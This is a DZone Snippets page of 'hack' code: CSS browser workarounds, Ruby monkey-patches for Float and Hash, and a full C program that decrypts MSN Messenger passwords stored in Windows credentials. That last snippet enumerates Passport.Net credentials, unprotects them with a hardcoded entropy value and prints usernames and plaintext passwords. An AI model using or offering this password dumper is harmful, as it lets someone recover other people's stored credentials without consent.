Never been to DZone Snippets before?

Snippets is a public source code repository. Easily build up your personal collection of code snippets, categorize them with tags / keywords, and share them with the world

« Newer Snippets
Older Snippets »
Showing 1-6 of 6 total  RSS 

CSS Hacks for opacity

in Internet Explorer 4, Gecko-based browsers, and Safari.
#transparent {
    filter: alpha(opacity=50);
    -moz-opacity: 0.5;
    opacity: 0.5;
}

Float to_s hack for easy sprintf'ing

Float Hacks:
1. to_s override.
I really hate using sprintf, mainly because i always have to go online
and look up the syntax. I figured i could make that a little easier.
Now you can print floats with different precision as easily as:

4.123456.to_s(1) # => "4.1"
4.123456.to_s(3) # => "4.12"
4.123456.to_s(3) # => "4.123"
4.123456.to_s(4) # => "4.1235" (Note the auto rounding from 4.123456)
4.123456.to_s # => "4.123456"


class Float
  alias_method :orig_to_s, :to_s
  def to_s(arg = nil)
    if arg.nil?
      orig_to_s
    else
      sprintf("%.#{arg}f", self)
    end
  end
end


I have packaged this and other useful hacks into a plugin at http://blog.djdossiers.com/articles/2007/03/31/new-rails-plugin-jakes-toolbox

Peace

--jake

Hash Referencing Hack for Ruby

Hash Hacks:
1. Method Missing hack to allow easy referencing.
I can never remember whether the Hash i am playing with has symbols for keys or
strings. I also dont like typing the brackets (not all text editors have the
cool "close brace" feature). That's why i came up with this method missing hack.
Instead of explaining what it does, I'll just show you.

Example:
hsh = {"project"=>
{ "prototype_url"=>nil,
"designer_id"=>2,
"finished_at"=>nil, "phone_number"=>"512225555",
"website"=>"http://www.ggg.com",
"first_name"=>"test",
}
}
hsh.project
#=> {"prototype_url"=>nil, "designer_id"=>2, "finished_at"=>nil, "phone_number"=>"512225555", "website"=>"http://www.ggg.com", "first_name"=>"test"}

hsh.project.prototype_url #=> nil
hsh.project.designer_id #=> 2
hsh.project.first_name #=> test

class Hash    		
  def method_missing(method_id, *args, &block)
    method_name = method_id.to_s
    check = self.stringify_keys
    if check.keys.include?(method_name)
      check[method_name]
    else
      super
    end
  end
end




I have packaged this and other useful hacks into a plugin at http://blog.djdossiers.com/articles/2007/03/31/new-rails-plugin-jakes-toolbox

Peace

--jake

CSS filtering

I'm a big fan of keeping all css hacks out of the main stylsheet.

To target IE6, you must use a conditional comment
<!--[if IE 6]><link rel="stylesheet" href="ie6.css" media="screen" type="text/css" /><![endif]-->



To target IE5, you can use a conditional comment or the following filters:

Just IE5
@media tty {
  i{content:"\";/*" "*/}}; @import 'ie5.css'; {;}/*";}
}/* */ 


Just IE5.5
@media tty {
  i{content:"\";/*" "*/}}@m; @import 'ie5-5.css'; /*";}
}/* */ 


Both IE5 and IE5.5 (this is my preferred method)
@media tty {
  i{content:"\";/*" "*/}} @import 'midpassbefore.css'; /*";}
}/* */ 



IE5 for the Mac does not have a conditional comment, so a css filter can be used
/*\*//*/
  @import "ie5mac.css";
/**/



A solution:
HTML
<head>
  ...
  <link rel="stylesheet" href="media.css" media="screen,projection" type="text/css" />
  <link rel="stylesheet" href="iehacks.css" media="screen" type="text/css" />
  <!--[if IE 6]><link rel="stylesheet" href="ie6.css" media="screen" type="text/css" /><![endif]-->
  <link rel="stylesheet" href="/assets/css/print.css" media="print" type="text/css" />
</head> 

iehacks.css
/******* IE5/mac stylesheet ************/
/*\*//*/
  @import "ie5mac.css";
/**/
/******* IE5 Windows *******************/
@media tty {
  i{content:"\";/*" "*/}} @import 'midpassbefore.css'; /*";}
}/* */ 


sources:
http://tantek.com/CSS/Examples/ie50winbandpass.html
http://tantek.com/CSS/Examples/ie55winbandpass.html
http://www.stopdesign.com/examples/ie5mac-bpf/
http://tantek.com/CSS/Examples/midpass.html
http://www.dithered.com/css_filters/index.html

Clear Fix

// Clears floats that do not automatically force the container's bottom edge down as the float is made taller.

/* Hacks/Misc */
.cf:after { content: "."; display: block; height: 0; clear: both; visibility: hidden; }
* html .cf {height: 1%;}

MSN Messenger Password Decrypter for Windows XP & 2003

// MSN Messenger Password Decrypter for Windows XP & 2003

 /*
 *  MSN Messenger Password Decrypter for Windows XP & 2003
 *  (Compiled-VC++ 7.0, tested on WinXP SP2, MSN Messenger 7.0)
 *      - Gregory R. Panakkal
 *        http://www.crapware.tk/
 *        http://www.infogreg.com/
 */

#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>

#pragma comment(lib, "Crypt32.lib")


//Following definitions taken from wincred.h
//[available only in Oct 2002 MS Platform SDK / LCC-Win32 Includes]

typedef struct _CREDENTIAL_ATTRIBUTEA {
    LPSTR Keyword;
    DWORD Flags;
    DWORD ValueSize;
    LPBYTE Value;
}
CREDENTIAL_ATTRIBUTEA,*PCREDENTIAL_ATTRIBUTEA;

typedef struct _CREDENTIALA {
    DWORD Flags;
    DWORD Type;
    LPSTR TargetName;
    LPSTR Comment;
    FILETIME LastWritten;
    DWORD CredentialBlobSize;
    LPBYTE CredentialBlob;
    DWORD Persist;
    DWORD AttributeCount;
    PCREDENTIAL_ATTRIBUTEA Attributes;
    LPSTR TargetAlias;
    LPSTR UserName;
} CREDENTIALA,*PCREDENTIALA;

typedef CREDENTIALA CREDENTIAL;
typedef PCREDENTIALA PCREDENTIAL;

////////////////////////////////////////////////////////////////////

typedef BOOL (WINAPI *typeCredEnumerateA)(LPCTSTR, DWORD, DWORD *, PCREDENTIALA **);
typedef BOOL (WINAPI *typeCredReadA)(LPCTSTR, DWORD, DWORD, PCREDENTIALA *);
typedef VOID (WINAPI *typeCredFree)(PVOID);

typeCredEnumerateA pfCredEnumerateA;
typeCredReadA pfCredReadA;
typeCredFree pfCredFree;

////////////////////////////////////////////////////////////////////

void showBanner()
{
    printf("MSN Messenger Password Decrypter for Windows XP/2003\n");
    printf("   - Gregory R. Panakkal, http://www.infogreg.com \n\n");
}

////////////////////////////////////////////////////////////////////
int main()
{
    PCREDENTIAL *CredentialCollection = NULL;
    DATA_BLOB blobCrypt, blobPlainText, blobEntropy;

    //used for filling up blobEntropy
    char szEntropyStringSeed[37] = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; //credui.dll
    short int EntropyData[37];
    short int tmp;

    HMODULE hDLL;
    DWORD Count, i;

    showBanner();

    //Locate CredEnumerate, CredRead, CredFree from advapi32.dll
    if( hDLL = LoadLibrary("advapi32.dll") )
    {
        pfCredEnumerateA = (typeCredEnumerateA)GetProcAddress(hDLL, "CredEnumerateA");
        pfCredReadA = (typeCredReadA)GetProcAddress(hDLL, "CredReadA");
        pfCredFree = (typeCredFree)GetProcAddress(hDLL, "CredFree");

        if( pfCredEnumerateA == NULL||
            pfCredReadA == NULL ||
            pfCredFree == NULL )
        {
            printf("error!\n");
            return -1;
        }
    }
    

    //Get an array of 'credential', satisfying the filter
    pfCredEnumerateA("Passport.Net\\*", 0, &Count, &CredentialCollection);


    if( Count ) //usually this value is only 1
    {

        //Calculate Entropy Data
        for(i=0; i<37; i++) // strlen(szEntropyStringSeed) = 37
        {
            tmp = (short int)szEntropyStringSeed[i];
            tmp <<= 2;
            EntropyData[i] = tmp;
        }

        for(i=0; i<Count; i++)
        {
            blobEntropy.pbData = (BYTE *)&EntropyData;
            blobEntropy.cbData = 74; //sizeof(EntropyData)

            blobCrypt.pbData = CredentialCollection[i]->CredentialBlob;
            blobCrypt.cbData = CredentialCollection[i]->CredentialBlobSize;

            CryptUnprotectData(&blobCrypt, NULL, &blobEntropy, NULL, NULL, 1, &blobPlainText);
            
            printf("Username : %s\n", CredentialCollection[i]->UserName);
            printf("Password : %ls\n\n", blobPlainText.pbData);
        }
    }

    pfCredFree(CredentialCollection);
}
« Newer Snippets
Older Snippets »
Showing 1-6 of 6 total  RSS